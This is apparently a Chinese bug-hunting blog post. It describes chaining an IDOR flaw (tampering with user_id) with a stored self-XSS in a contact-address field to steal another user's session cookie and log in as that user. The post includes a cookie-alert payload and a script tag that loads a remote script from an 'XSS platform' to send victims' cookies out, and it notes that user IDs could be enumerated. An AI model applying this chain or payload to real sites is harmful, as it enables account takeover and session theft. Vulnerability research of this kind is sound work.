c1ay's blog

记一次漏洞组合拳-水平越权+Self XSS漏洞

字数统计: 762阅读时长: 2 min
2018/08/08 Share

记一次漏洞组合拳-水平越权+Self XSS漏洞

在一次漏洞挖掘当中,发现在用户中心设置信息的位置存在存储型xss漏洞,尝试新增常用联系人,在详细地址的位置插入xss的payload,可以发现成功弹出了Cookie

mark

1
<script>alert(document.cookie)</script>

mark

但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie

还是之前测试越权的两个账号

用户A(格鲁特)   id:112054
用户B(火箭)   id:112069

首先在A的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息

xsspayload:

1
<script src=xss平台上的远程脚本></script>

之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权
mark

修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为用户B的id(112069)

mark

可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息

然后使用用户B登陆,可以看到包含xsspayload的信息是否已经被越权添加到用户B的常用信息中,可以看到用户B在登陆后查看联系人信息时我们的xss平台就能接收到该用户的cookie
mark
mark

接下来将获取到的用户B的cookie替换为用户A的cookie,可以看到成功登陆到了用户B的账号
mark

而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞

总结

这是我在漏洞挖掘中遇到的一个比较有意思的组合利用,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合利用一下,会有意想不到的惊喜

CATALOG
  1. 1. 记一次漏洞组合拳-水平越权+Self XSS漏洞
    1. 1.0.1. 总结